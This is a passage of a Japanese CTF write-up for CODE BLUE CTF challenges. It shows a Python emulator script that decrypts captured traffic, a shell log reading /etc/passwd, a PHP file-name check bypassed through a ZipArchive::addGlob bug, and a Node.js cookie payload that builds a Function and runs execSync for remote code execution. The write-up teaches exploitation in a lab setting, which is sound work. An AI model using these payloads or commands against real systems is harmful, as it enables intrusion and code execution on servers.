ed\xae\x4f\xc3\x6d\xee\xea\xee\x86\xa1\x42\x46\x52\x2f\x6b\xb5\x94\x1f\x88\xb7\xbc\x04\xe3\xfe\x83\x30\x22\x43\x9a\x03\x5d\xba\x3e\x32\x49\xa4\xa4\x47\x3d\xee\x2c\x5c\x91\x53\x7c\x9f\x74\x2c\x4e\x39\x8c\xc8\xd9\x09\xcb\x8f\xb3\x22\xf6\xf9\xe8\xff\xd1\x07\x3a\xd7\xee\xf6\x59\x82\xcc\xc2\xbe\xc9\x37\x13\xcb\x39\x37\x56\xea\x4c\xc2\x46\xac\xe3\x89\xe2\xe0\xcc\x25\x7d\x8b\x08\xf6\x11\x2b\x4d\x60\xd5\x2b\x6e\xae\x0d\x14\x8e\x9e\x69\x92\xa6\xfe\xd1\xc1\x8e\xc6\x36\xd6\x35\x44\xc5\x03\x56\xca\xdd\xbd\x4d\xe1\x9a\xee\xbe\x5d\x31\xf5\x26\x26\x29\x30\x0e\x37\xea\x28\xd2\x83\x03\xbb\xa0\x5b\x7f\x36\xd8\x81\x45\x83\x37\x6b\xf8\x55\x8f\x16\xf8\x53\x71\xd3\x8f\xa0\xea\x10\x13\xfd\xf4\x94\x31\x27\x4c\x30\xde\xd9\xbd\x78\x30\xf7\x8b\x84\x16\x66\xbd\x70\x3a\x4c\xd8\xb2\x7d\xb3\x13\xbf\xf8\xed\x4d\xeb\xeb\xea\x9d\x33\xae\xef\x5b\x94\xe9\x0c\xf7\xb3\x84\x87\x37\xf0\x5f\xa6\x65\x1e\x11\xcc\x84\x07\x21\x7a\x5a\x46\x14\x08\x01\xb7\xf2\xdb\x43\xf1\x59\x09\xd2\x4a\x5c\x08\x2d\x40\xaa\x43\x13\x2f\x1f\xf6\x5c\xac\x00\xf4\x78\xbb\xa1\x77\xd7\x78\x57\x6c\x10\x1d\xfc\xd2\x6f\x4e\x15\xcb\xfa\xf5\xee\x60\x2b\xc1\x10\x26\xb8\xed\xd9\xa7\x48\x3a\x4b\xa4\xe5\xcb\xcb\x12\x0c\xd1\x83\x99\xb5\x23\x4f\xd2\xa7\xb6\x1a\x38\x4d\x5c\x88\x01\x7a\x7b\xde\xb2\x95\xcc\xe5\x95\x35\xb7\x5f\xc7\x86\x39\xba\x04\xe5\xf7\xb6\xb3\x19\x5a\x45\x73\x7a\xe1\x70\x3a\x6a\xce\x8d\x8f\xe8\xb5\x0b\x53\xb3\xda\x01\xcd\x20\x3f\x30\xcb\x72\x75\x60\xd2\x90\xac\x3d\x1f\x20\x1e\x6c\xa0\x27\x42\xe1\x6f\xae\x48\x2c\xef\x0a\x0d\x0d\xe2\xe0\xdd\xe1\x47\x9d\x12\xcc\xbe\x4f\xf7\xdc\xb3\xcc\x78\x10\xde\xea\x29\xdf\xff\x00\x7d\xf5\x3f\x7f\xcb\x68\xf1\xaa\x8e\xca\xbb\xb9\xd0\xc8\xf0\x5f\x36\x89\x05\xdd\x4c\x0f\x42\xee\xd4\x30\xd4\xdc\xce\xcf\x09\xb0\x9b\x4d\x31\xec\x1b\xdb\xa8\x82\x3a\x29\x77\x29\xae\x35\x5a\x99\xbc\xad\xbe\x15\x53\x8f\x33\x57\x26\xcb\xf1\xff\xf5\x77\x96\xbf\x0f\x52\xc0\xda\xaf\x8c\x1d\x2d\x4f\x14\x31\xd7\x85\x70\xe7\xba\xf3\x12\xee\x07\x64\xe5\x55\xd8\x73\xa7\xe8\x11\x05\x2c\xc6\xe4\x7e\x75\x0a\x5b\x6a\x62\x6b\xcc\x51\x23\xb2\x65\x74\xf3\xf5\xec\x68\x72\xf3\xbc\x99\xab\x7b\xf5\x37\xc0\x91\xd2\x52\x99\x99\xd8\x4f\x20\x5f\x57\x39\x44\x86\x82\xd6\x8e\x18\xd1\xbb\x7b\x24\x9a\x71\x9f\x18\x02\xca\x91\xf4\xe6\x71\x1c\x16\xe1\x39\x0d\x63\x1f\x32\xbb\x6d\xc8\xe2\x83\x23\x20\x36\x39\x4c\x6b\x8e\x00\x50\x03\x9d\xae\x83\x6b\x0d\xb8\x67\x06\x34\xb2\x0b\xed\xd5\x47\x0e\x7c\xd0\xee\xa3\x17\xbf\xfb\x4d\x23\x04\x15\x4c\x54\xfa\xd6\x18\x0e\x50\x61\xb2\x89\xee\x07\x41\xdd\x79\x3b\x2f\xa5\xfa\xae\x56\x39\x54\xf2\xe9\xcd\x8d\xa7\x7e\x19\x1b\x05\x20\xb2\x45\xd8\x04\x33\xaa\xb7\x76\x25\x2d\x4b\xaf\x70\x3a\x70\xf1\x08\xbf\x5d\xc9\xa9\xaa\xf1\xfc\x16\x54\x10\x70\x2e\x58\x97\xb3\x39\x9a\x6d\x94\x43\xd9\xab\x03\x19\x42\x56\xf2\x31\x37\x7d\xa6\x56\x4e\xcc\x03\x79\x9b\xb3\xfb\xa7\xe6\xca\xe8\x50\xa9\x72\xfe\x51\x08\x9b\xcb\x3a\x6a\x33\x2a\xae\xba\xfa\xcf\x20\x0c\xd3\x35\x94\xaa\x63\x96\x8e\x73\x78\x4d\x61\xd6\x7d\x9f\x55\x22\x27\x7b\x88\x7c\xe5\x51\xe4\x17\x8f\xcb\x36\x4b\x70\xd9\x23\x7c\xf2\xfc\x97\x19\xed\xdc\xc2\xce\xd5\xb2\x42\x61\x4d\xb4\x5a\x3d\x94\x71\x2f\x3b\x64\xd2\x66\x79\x1e\x6e\x9d\xe4\xe9\x7d\x69\x70\x48\x56\x04\xba\x35\x81\x05\x3a\xc0\x04\x24\x48\x9a\x44\xd5\x14\xd3\xdf\x06\x48\xe0\xbb\xb5\xb7\x77\xf5\xbf\x33\xc5\x01\x8e\xeb\x66\x60\x24\xd1\x7c\xe7\xec\x48\xe3\x63\xcf\x8b\xab\x6c\x93\xa2\x88\xa0\x47\x50\xf4\xcf\xd2\x12\xb0\x6e\x20\x22\xcc\x86\xd6\xbc\x0c\xe2\x4a\x99\xb8\x48\xd1\x1c\xf9\x4a\x7d\x0f\x7d\x82\x45\x0a\x41\xff\xc7\x21',
'\xac\x3b\x5b\xa0\xa1\xc4\x71\x55\x6d\x55\xa0\x0d',
'\xa7\x05\xd3\x10\xcf\x6d\x3e\x7f\xcb\x42\xa9\x6e\xb7\xd8\x60\x37\xfb\x4a\xa1\x14\x83\x19\xe1\x8f\x17\x5a\x61\xfb\x0b\x98\x35\xb7\x66\x2c\xa7\xde\x3b\x5c\x69\x89\x01\xb9\x48\xde\xab\x75\x1e\x38\x99\x5e\x76\xd8\xee\x1d\x85\x22\x63\x9a\x2b\xa2\xd7\x6b\x89\x30\x04\x1a\x54\x96\x90\xc1\x8e\x9a\xa5\x87\x4a\x53\xdc\x83\x34\x58\x03\xde\x8b\x15\xb7\x2e\x96\x35\x26\xa5\x59\xcd\x27\xbc\x52\x47\xa0\x1b\xe3\x30\x77\xa1\x4c\x8f\x69\x01\x65\x49\xb0\x5e\x5c\xa1\x2e\x6a\xd4\xd5\x14\x8b\xe4\xbd\x3e\x2a\x92\x19\x47\x07\x4d\x59\x63\x37\x65\xcb\x75\x9c\x73\xd0\xf1\xa6\xae\xaf\x7a\xf1\xbc\x7c\x33',
'\x66\xa0\xc4\xe8\x17\xd6\xb9\x88\x5f\xcd\x50\x8e\x86\x05\x9a\x2b\xce',
'\x35\x17\xb5\xe0\x9d\xce\xfc\x4a\xd5\x0b\x99\xef\x64\x41\x51\x03\xbd\xf6\xc3\x09\xb7\x10\x11\xb0\x07\x76\x32\x03\xdf\x4c\x03\x23\xb7\x83\xb9\x98\x79\xa4\x7d\x3e\x5a\x09\x4b\x55\xb6\xd4\x89\x60\x28\x49\xff\x00\xf8\xf6\xa6\xcc\xbb\x96\xc0\x71\x49\xb5\x5d\xed\x57\x8b\x07\x69\x2a\xd1\x3b\x2e\xa2\x62\x93\x98\x1e\x70\xe0\x55\xe6\x92\x61\x7f\x78\x0b\x4d\x84\xc6\xc2\x2a\x23\x4a\x39\x88\x2b\xf8\x13\x76\x86\x64\x80\x47\x33\x76\x9c\x00\xd9\x98\x0d\x92\x19\x93\x15\x0b\x80\xad\x15\x2e\x6c\x2d\x1b\xd0\xf8\x15\x2f\x6b\xbc\xd2\x99\x4b\xac\xe2\x6e\x32\xd8\x68\x95\x03\x1b\xf5\xf1\xc4\xeb\x18\xc3',
'\x5b\x7c\xae\x1a\x19\x88\x75\x7e\xab\x08\x6f\x1e\xaa\x04\x0e\x0d\xff\x7c\x0e\xef\xd0\x79\x8e',
'\x38\x22\xd8\x99\xe8\x7b\x5e\x3a\x34\x88\xc8\x14\x7d\xc0\xac\x7c\xdb\x6f\x66\x69\xd1\x3e\x48\x69\x68\x62\x19\xb0\x62\xe7\x54\x93\x1f\xa5\xaf\x19\x64\x73\x26\xe2\xc1\x03\x55\xbb\x43\x97\xb6'
]
CODE_EA = '\xc7\x47\x04\x00\x00\x00\x00\xc7\x07\x00\x00\x00\x00\x31\xc0\x90\x88\x44\x07\x08\x48\x83\xc0\x01\x48\x3d\x00\x01\x00\x00\x75\xf0\x31\xc0\x31\xd2\x0f\x1f\x40\x00\x44\x0f\xb6\x44\x07\x08\x48\x89\xc1\x83\xe1\x1f\x45\x89\xc2\x44\x02\x14\x0e\x44\x89\xd1\x01\xca\x0f\xb6\xca\x44\x0f\xb6\x4c\x0f\x08\x48\x89\xca\x44\x88\x4c\x07\x08\x48\x83\xc0\x01\x44\x88\x44\x0f\x08\x48\x3d\x00\x01\x00\x00\x75\xc6'
CODE_15A = '\x48\x85\xd2\x4c\x8d\x14\x16\x74\x47\x0f\x1f\x80\x00\x00\x00\x00\x8b\x07\x8b\x57\x04\x83\xc0\x01\x0f\xb6\xc0\x89\x07\x0f\xb6\x4c\x07\x08\x01\xca\x0f\xb6\xd2\x89\x57\x04\x44\x0f\xb6\x4c\x17\x08\x44\x88\x4c\x07\x08\x88\x4c\x17\x08\x02\x4c\x07\x08\x0f\xb6\xc9\x0f\xb6\x44\x0f\x08\x30\x06\x48\x83\xc6\x01\x49\x39\xf2\x75\xc0'
ADDRESS = 0x400000
RBX = ADDRESS + 0x1000
RAX = RBX
RSP = ADDRESS + 0x2000
RBP = RSP
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
mu.mem_write(RBX, urandom)
mu.mem_write(ADDRESS + 0xea, CODE_EA)
mu.mem_write(ADDRESS + 0x15a, CODE_15A)
mu.reg_write(UC_X86_REG_RBP, RBP)
mu.reg_write(UC_X86_REG_RSP, RSP)
mu.reg_write(UC_X86_REG_RBX, RBX)
mu.reg_write(UC_X86_REG_RDI, RBP)
mu.reg_write(UC_X86_REG_RSI, RBX)
mu.emu_start(ADDRESS + 0xea, ADDRESS + 0xea + len(CODE_EA))
for line in encrypted:
mu.mem_write(RBX, line)
mu.reg_write(UC_X86_REG_RDI, RBP)
mu.reg_write(UC_X86_REG_RSI, RBX)
mu.reg_write(UC_X86_REG_RDX, len(line))
mu.emu_start(ADDRESS + 0x15a, ADDRESS + 0x15a + len(CODE_15A))
print mu.mem_read(RBX, len(line))
$ python2 solve.py
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/usr/lib/cgi-bin
ls -la
total 24
drwxr-xr-x 2 root root 4096 May 26 02:39 .
drwxr-xr-x 52 root root 4096 May 26 02:39 ..
-rwxrwxr-x 1 root root 13704 Apr 18 01:11 index.cgi
echo 'pwned! yay!'
pwned! yay!
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
ls -la /
total 80
drwxr-xr-x 67 root root 4096 May 26 03:04 .
drwxr-xr-x 67 root root 4096 May 26 03:04 ..
-rwxr-xr-x 1 root root 0 May 26 03:00 .dockerenv
drwxr-xr-x 2 root root 4096 May 26 02:39 bin
drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
drwxr-xr-x 15 root root 3780 May 26 03:00 dev
drwxr-xr-x 116 root root 4096 May 26 03:00 etc
drwxr-xr-x 4 root root 4096 May 26 02:39 home
drwxr-xr-x 15 root root 4096 May 26 02:39 lib
drwxr-xr-x 2 root root 4096 May 2 08:41 lib32
drwxr-xr-x 2 root root 4096 May 2 08:39 lib64
drwxr-xr-x 2 root root 4096 Feb 14 23:28 media
drwxr-xr-x 2 root root 4096 Feb 14 23:28 mnt
drwxr-xr-x 2 root root 4096 Feb 14 23:28 opt
dr-xr-xr-x 174 root root 0 May 26 03:00 proc
drwx------ 11 root root 4096 May 26 03:04 root
drwxr-xr-x 9 root root 4096 May 26 03:00 run
drwxr-xr-x 2 root root 4096 May 26 02:39 sbin
drwxrwxr-x 5 1000 1000 4096 May 26 03:04 share
drwxr-xr-x 2 root root 4096 Feb 14 23:28 srv
dr-xr-xr-x 13 root root 0 May 24 07:44 sys
drwxrwxrwt 2 root root 4096 May 26 03:00 tmp
drwxr-xr-x 27 root root 4096 May 26 02:39 usr
drwxr-xr-x 21 root root 4096 May 26 03:00 var
ls -la /home
total 12
drwxr-xr-x 4 root root 4096 May 26 02:39 .
drwxr-xr-x 67 root root 4096 May 26 03:04 ..
drwxr-xr-x 2 root root 4096 May 26 02:39 user
ls -la /home/user
total 12
drwxr-xr-x 2 root root 4096 May 26 02:39 .
drwxr-xr-x 4 root root 4096 May 26 02:39 ..
-rw-rw-r-- 1 root root 47 May 26 02:38 flag.txt
cat /home/user/flag.txt
CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}
フラグが得られました。
CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}
以下のようなソースコードが与えられました。
index.php
<?php
include('config.php');
if (file_exists($USER_DIR . '/is_admin')) {
exit($FLAG);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CODE BLUE Snippet</title>
<link href="http://fonts.googleapis.com/css?family=Orbitron" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.31.0/codemirror.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.31.0/codemirror.js"></script>
...
</head>
<body>
<h1>CODE BLUE Snippet</h1>
<a href="export.php?dir=<?=$USER_DIR?>">Export</a>
<span> | </span>
<a href="<?=$USER_DIR?>">Your files</a>
<hr>
<h2>Import</h2>
<form action="import.php?dir=<?=$USER_DIR?>" enctype="multipart/form-data" method="POST">
<input type="file" name="file">
<input type="submit" value="Import">
</form>
<hr>
<h2>Post</h2>
<form action="post.php" method="POST">
<p><input type="text" name="filename" placeholder="filename"></p>
<p><textarea id="code" name="contents"></textarea></p>
<div class="btns">
<input type="submit" value="Create Snippet">
</div>
</form>
<script>
CodeMirror.fromTextArea(document.getElementById('code'), {lineNumbers: true});
</script>
</body>
</html>
post.php
<?php
include('config.php');
$filename = strtolower($_POST['filename']);
if ($filename == 'is_admin' || preg_match('/\./', $filename)) {
die('Hello hacker :)');
}
@mkdir($USER_DIR);
file_put_contents($USER_DIR . '/' . basename($_POST['filename']), $_POST['contents']);
header('Location: /');
好きなファイル名 (is_admin
以外) でスニペットを作成できるサービスのようです。制限を回避して、is_admin
というファイル名のスニペットが作成できればフラグが得られるようです。
ファイル名のチェック部分は $filename == 'is_admin' || preg_match('/\./', $filename)
というようになっています。/is_admin
をファイル名に入力するとこのチェックに引っかからず is_admin
というファイルを作成でき、フラグが得られました。
CBCTF{plz fix PHP Bug #72374}
…というのは想定解法ではなかったようで、この解法が通らないように修正が行われ、フラグが公開された上で改めて問題の公開がされました。
作成したスニペットを zip でエクスポート、また作成された zip をインポートする機能もあるようなのでコードを見ていきましょう。
export.php
<?php
include('config.php');
$tmpfile = tempnam('/tmp', 'cbs');
if (preg_match('/\.|\\\\|^\//', $_GET['dir']) === 1) {
die('hello hacker :(');
}
$zip = new ZipArchive();
$zip->open($tmpfile, ZipArchive::CREATE);
$options = array('remove_path' => $_GET['dir']);
$dir = trim($_GET['dir'], '/');
$zip->addGlob($dir . '/*', 0, $options);
$zip->close();
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
header("Content-Disposition: attachment; filename='${hmac}.zip'");
readfile($tmpfile);
unlink($tmpfile);
import.php
<?php
include('config.php');
$tmpfile = $_FILES['file']['tmp_name'];
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
if ($_FILES['file']['name'] !== "${hmac}.zip") {
die('hello hacker :)');
}
$zip = new ZipArchive();
$zip->open($tmpfile);
$zip->extractTo($USER_DIR);
$zip->close();
header('Location: /');
インポート/エクスポート機能を使わず is_admin
というファイルが含まれる zip を作れるか考えてみましょう。import.php
に zip が正当なものであるか検証している処理があります。zip のファイル名はファイルの MAC 値である必要があり、秘密鍵が分からないため難しそうです。
元のフラグにある PHP Bug #72374
でググってみると以下のページが見つかりました。
ZipArchive::addGlob
の実装に問題があり、どうやら remove_path
オプションを指定した際にパスが 1 文字余計に削除されてしまうようです。
export.php
では remove_path
オプションに $_GET['dir']
をそのまま渡しています。ais_admin
というファイル名のスニペットを作成し、/export.php?dir=(ディレクトリ名)/
にアクセスすると is_admin
というファイルが含まれる zip が生成されました。
これをインポートするとフラグが得られました。
CBCTF{sorry-we-had-a-pitty-bug;;}
与えられた URL にアクセスすると、ユーザ名を入力するログインフォームが表示されました。
適当に入力してログインすると、Get a new idol!
というボタンが表示されました。クリックすると [SSR] Uzuki
[SR] Rin
[R] Mio
のようにアイドルが排出されました。どうやらこれは無限にガチャが引けるアプリケーションのようです。
もう少し詳しく見ていきましょう。/idols
から排出されたアイドルの一覧を見ることができ、出た順番に /idols/0
/idols/1
/idols/2
… という感じのリンクになっています。
最初の [SSR] Uzuki
(/idols/0
) をクリックすると、voice 1
(/idols/0/say1
)、voice 2
(/idols/0/say2
)、voice 3
(/idols/0/say3
) の 3 つのリンクが表示されました。クリックするとそれぞれ Hello, This is uzuki! Nice to meet you.
や What are you doing???
のようにメッセージが表示されました。
ユーザ名に hoge
を入力してログイン、[SR] Mio
[R] Mio
[SSR] Uzuki
が出ている状態で Cookie を確認すると、以下のようになっていました。
名前 | 値 |
---|---|
username | hoge |
idols | [{“key”:[“sr”,”2”]},{“key”:[“r”,”0”]},{“key”:[“ssr”,”0”]}] |
idols
を [{"key":["r","0"]},{"key":["ssr","1"]}]
に変更して更新してみると、以下のようなエラーが表示されました。
TypeError: idolClass is not a constructor
at generateIdol (/usr/local/ssr/build/server.js:145:10)
at /usr/local/ssr/build/server.js:172:12
at Array.map (<anonymous>)
at unserializeIdols (/usr/local/ssr/build/server.js:169:20)
at new Idols (/usr/local/ssr/build/server.js:748:42)
at /usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:292:18
at measureLifeCyclePerf (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:73:12)
at ReactCompositeComponentWrapper._constructComponentWithoutOwner (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:291:16)
at ReactCompositeComponentWrapper._constructComponent (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:282:19)
at ReactCompositeComponentWrapper.mountComponent (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:185:21)
どうやらサーバーサイドレンダリングが行われているようです。
unserializeIdols
で Cookie をアンシリアライズしているようなので、public/clients.js
から該当する部分を抜き出してみましょう。
/***/ }),
/* 113 */
/***/ (function(module, exports, __webpack_require__) {
// ...
var _idolDatabase = __webpack_require__(246);
var _idolDatabase2 = _interopRequireDefault(_idolDatabase);
// ...
var generateIdol = function generateIdol(key) {
var _key = _slicedToArray(key, 2),
rarity = _key[0],
idolNo = _key[1];
var idolClass = _idolDatabase2.default[rarity][idolNo];
return new idolClass(key);
};
// ...
var unserializeIdols = exports.unserializeIdols = function unserializeIdols(idolsData) {
if (!idolsData) {
return [];
}
return idolsData.map(function (_ref) {
var key = _ref.key;
return generateIdol(key);
});
};
Cookie を配列として、各要素について _idolDatabase2.default[(1 番目の要素、レアリティ)][(2 番目の要素、アイドルの ID)]
でアイドルのクラス (idolClass
) を読み出して new
でインスタンスを生成しているようです。
idolClass
の例を見てみましょう。
/***/ }),
/* 246 */
/***/ (function(module, exports, __webpack_require__) {
// ...
var Idol = function () {
function Idol(key) {
_classCallCheck(this, Idol);
this.image = '/public/images/idol1.png';
this.key = key;
}
_createClass(Idol, [{
key: 'say1',
value: function say1() {}
}, {
key: 'say2',
value: function say2() {
return 'What are you doing???';
}
}, {
key: 'say3',
value: function say3() {
return 'Sorry, this voice is not implemented yet.';
}
}]);
return Idol;
}();
var SSRUzuki = function (_Idol) {
_inherits(SSRUzuki, _Idol);
function SSRUzuki() {
var _ref;
var _temp, _this, _ret;
_classCallCheck(this, SSRUzuki);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = SSRUzuki.__proto__ || Object.getPrototypeOf(SSRUzuki)).call.apply(_ref, [this].concat(args))), _this), _this.image = '/public/images/idol1.png', _this.name = '[SSR] Uzuki', _temp), _possibleConstructorReturn(_this, _ret);
}
_createClass(SSRUzuki, [{
key: 'say1',
value: function say1() {
return 'Hello, This is uzuki! Nice to meet you.';
}
}]);
return SSRUzuki;
}(Idol);
// ...
var idolDatabase = {
ssr: [SSRUzuki],
sr: [SRUzuki, SRRin, SRMio],
r: [RUzuki]
};
exports.default = idolDatabase;
アンシリアライズの処理を利用して任意コード実行に持ち込めないか考えてみましょう。
オブジェクトは constructor
というプロパティにコンストラクタ関数を持ちます。
_idolDatabase2.default
はオブジェクトなのでこの constructor
は Object
です。Object
の constructor
は Function
です。
これを利用して [{"key":["constructor","constructor"]}]
を Cookie にセットすると、出てきたアイドルの一覧に anonymous
というアイドルが表示されました。(new Function).name
は anonymous
になるので、どうやらサーバ側で Function
のインスタンスを作ることができたようです。
Function
は new Function('return 1')
のようにコンストラクタとして呼び出すことで関数を作ることができます。Cookie のアンシリアライズを行う際に new idolClass(key)
という感じで配列をそのまま渡しているので、文字列に変換されて最終的に new Function('constructor,constructor')
というように関数が作られているはずです。
なので、[{"key":["constructor","constructor","1;return 123"]}]
を Cookie にセットすることで、呼び出すと 123
が返ってくる関数が作られるはずです。
さて、作られた関数を呼び出すにはどうすればいいのでしょうか。
アイドルのメッセージを表示する部分の処理を抜き出してみます。
_createClass(Idol, [{
key: 'render',
value: function render() {
var _props$match$params = this.props.match.params,
id = _props$match$params.id,
action = _props$match$params.action;
var cookies = this.props.cookies;
// ...
var idolAction = action || 'say1';
if (!idol[idolAction]) {
return _react2.default.createElement(
'div',
null,
'Invalid Action!!'
);
}
// ...
_react2.default.createElement(
'p',
null,
idol[idolAction]()
),
// ...
}]);
/idols/(アイドルの ID)/(メソッド名)
という感じで、指定したアイドルの好きなメソッドを呼び出すことができるようです。
関数は call
というメソッドで呼び出すことができます。これを利用して、[{"key":["constructor","constructor","1;return 'hoge'"]}]
を Cookie にセットして /idols/0/call
にアクセスすると hoge
と表示されました。
最後に OS コマンドを実行してみましょう。[{"key":["constructor","constructor","1;return process.mainModule.require('child_process').execSync('cat flag')"]}]
を Cookie にセットして /idols/0/call
にアクセスするとフラグが得られました。
CBCTF{server_side_render1ng_1s_Soo_fun}